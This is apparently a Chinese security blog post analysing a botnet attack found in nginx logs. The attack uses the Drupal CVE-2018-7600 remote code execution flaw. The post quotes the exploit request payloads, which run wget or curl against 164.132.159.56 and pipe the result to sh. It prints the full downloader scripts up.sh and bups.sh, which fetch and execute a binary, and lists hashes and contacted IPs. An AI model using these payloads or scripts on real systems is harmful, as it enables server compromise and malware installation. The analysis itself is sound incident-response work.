*本文原创作者:cgf99,本文属于CodeSec原创奖励计划,未经许可禁止转载
一、事件背景在对服务器进行例行性检查的时候,在一台ngix服务器的日志文件access.log里面发现了一些奇怪的访问记录,如下表所示。备注,这台Ngix 服务器安装windows10企业版操作系统,web服务器是nginx/1.12.2。
来源IP 时间 数据 85.248.227.163 16/Oct/2018:13:14:41 +0800 “POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1″ 301 185 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0″ 85.248.227.163 16/Oct/2018:13:14:41 +0800 “GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+wget+-O+-+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1″ 200 8517 “-” “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:51.0) Gecko/20100101 Firefox/51.0″ 85.248.227.163 16/Oct/2018:13:14:43 +0800 “POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1″ 301 185 “-” “Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36″ 85.248.227.165 16/Oct/2018:13:14:47 +0800] “GET /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=nohup+curl+http%3A%2F%2F164.132.159.56%2Fdrupal%2Fup.sh%7Csh+2%3E%261&name%5B%23type%5D=markup HTTP/1.1″ 200 8517 “-” “Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36″经过整理,发现上述web访问的命令其实就是下列两行,分别用GET和POST向目标网站进行请求访问。
https://mywebsite/?q=user/password&name [#post_render][]=passthru&name[#markup]=nohup wget O http://164.132.159.56/drupal/up.sh |sh 2>&1&name[#type]=markup https://mywebsite/?q=user/password&name [#post_render][]=passthru&name[#markup]=nohup curl http://164.132.159.56/drupal/up.sh |sh 2>&1&name[#type]=markup乍一看,就是向服务器发送请求,利用web服务器上的一个漏洞,并要求服务器执行wget和curl命令去下载并执行up.sh脚本。可是我的服务器明明是windows操作系统,就算有漏洞触发了也不会执行该命令。因此,本次web攻击请求应该不是人工发出的(应该不会有这么蠢的黑客吧,也可能看web服务器是Ngix,就默认为类linux系统)。此外,通过网络搜索关键字,发现这段代码是Drupal远程代码执行漏洞(CVE-2018-7600)的利用方式。今年上半年,Drupal漏洞非常火爆,使得一拨又一拨的僵尸网络高潮迭起。由此可见,本次的web请求访问应该是僵尸病毒在自动化的扫描,利用Drupal漏洞进行攻击传播扩散。可是,这些病毒作者为什么就不能稍微花点功夫,先对目标网站软件环境进行判断,然后再实施下一步的实质攻击步骤呢?
尽管这次攻击没有对本地服务器产生任何危害。但是,既然不请自来,那就花点功夫研究一下吧。
1.下载脚本直接访问 http://164.132.159.56/drupal/up.sh 下载up.sh,发现其内容如下:
#!/bin/shcrontab-r;
id0="[[^$I$^]]"id1="atnd"
ps -fe|grep -v grep | grep -q "`echo $id0`\|`echo $id1`"
if [ $?-ne 0 ];thenwget -O- http://164.132.159.56/drupal/bups.sh |sh ;curl http://164.132.159.56/drupal/bups.jpg |sh ;
else
echo"......."
fi
再次下载bups.sh和bups.jpg文件,其内容是一样的,具体内容如下:
#!/bin/sh id0="[[^$I$^]]"id1="atnd"
id2="ooo"
ps -fe |grep -v grep | grep -q "`echo$id0`\|`echo $id1`"
if [ $? -ne 0 ];then if [ -x "/var/tmp/" ] &&[ -w "/var/tmp/" ];thenrm -rf /var/tmp/.*
rm -rf /var/tmp/*
wget -O /var/tmp/`echo $id1` http://164.132.159.56/drupal/2/ `echo $id2`
curl -o /var/tmp/`echo $id1` http://164.132.159.56/drupal/2/ `echo $id2`
chmod +x /var/tmp/`echo $id1`
chmod 777 /var/tmp/atnd
/var/tmp/`echo $id1` &
else
rm -rf /tmp/.*
rm -rf /tmp/*
wget -O /tmp/`echo $id1` http://164.132.159.56/drupal/2/ `echo $id2`
curl -o /tmp/`echo $id1` http://164.132.159.56/drupal/2/ `echo $id2`
chmod +x /tmp/`echo $id1`
chmod 777 /tmp/atnd
/tmp/`echo $id1` &
fi
else
echo "Running....."
fi
上面脚本很简单,就是下载恶意软件并运行的过程。脚本首先判断是否存在名叫id0和id1的进程(如果存在说明目标系统已被感染,恶意软件已运行中)。接着判断/var/tmp目录是否存在并可执行可写,如能是,则把恶意软件下载放在该目录下,否则就放在/tmp/目录下。木马下载路径是 http://164.132.159.56/drupal/2/ooo ,存放在本地的名字是id1,也就是”atnd”。此外,id0参数只是简单调用了一下,说明此轮感染操作应该不是第一波,在此前的病毒传播阶段,攻击者下载恶意软件后本地保存的文件名是id0,也就是”[[^$I$^]]”。手动访问下载ooo,其属性如下表所示。
属性 值 大小 21176 MD5 7fdc31d7b9fafd2fbbb4da22b3cf56a2 SHA1 4e8bdca8d9a2eec23f17206af6e9f70daad29a25 2.构建环境本地环境是Ubuntu16.04虚拟机。把ooo文件拷贝到虚拟机下/var/tmp/atnd,执行后,发现ubuntu系统退出登录,重新输入密码,一闪又回到登录界面。晕。
通过wireshark抓包,发现测试环境和80.240.26.52以及164.132.159.56两个IP发生如下的网络连接。
1.首先访问下载 http://164.132.159.56/drupal/lu.sh 文件,其内容如下。
lu.sh执行后会区访问下载bups.sh和bups.jpg,这两个文件的内容上一段已经介绍。
2.下载 http://164.132.159.56/drupal/bups.sh
3.下载http:// 164.132.159.56/drupal/2/ooo
4.再次下载http:// 164.132.159.56/drupal/2/ooo
5.下载http:// 80.240.26.52/d/sss
6.下载http:// 80.240.26.52/d/lmmml
其中,步骤1-4下载的文件已经清晰,手动下载步骤5和步骤6的文件,下载后的文件信息如下表所示。
文件名 大小 MD5 SHA1 sss 16360 8a8ddce64e5dd6f5864da18d7899351c edb7aac788cb25a2f36bd71244843a9289a97d4e lmmml 719144 2e483fe7736634134b1b0d82828f2e53 583f5a66117f76a9dea389070ed0c8470e330e47 3.相关IP初步分析1.攻击者来源IP
从Ngix日志提取的攻击者IP为85.248.227.163和85.248.227.165。
通过ip138查询,结果如下:
开放80和443端口,直接http方式访问,显示的页面如下图所示。咦,竟然是Tor节点,上面显示了服务器的性能。利用https访问,则没有显示页面。发现域名是Enn.lu。
在本地pingenn.lu解析结果如下:
正在Ping enn.lu [176.10.250.105] 具有 32 字节的数据:来自176.10.250.105 的回复: 字节=32 时间=310ms TTL=47
来自176.10.250.105 的回复: 字节=32 时间=308ms TTL=47
来自176.10.250.105 的回复: 字节=32 时间=309ms TTL=47
来自 176.10.250.105 的回复: 字节=32 时间=308ms TTL=47
IP地址不一样,而且直接访问enn.lu网站都是直接跳转到https访问方式,其首页界面如下图所示。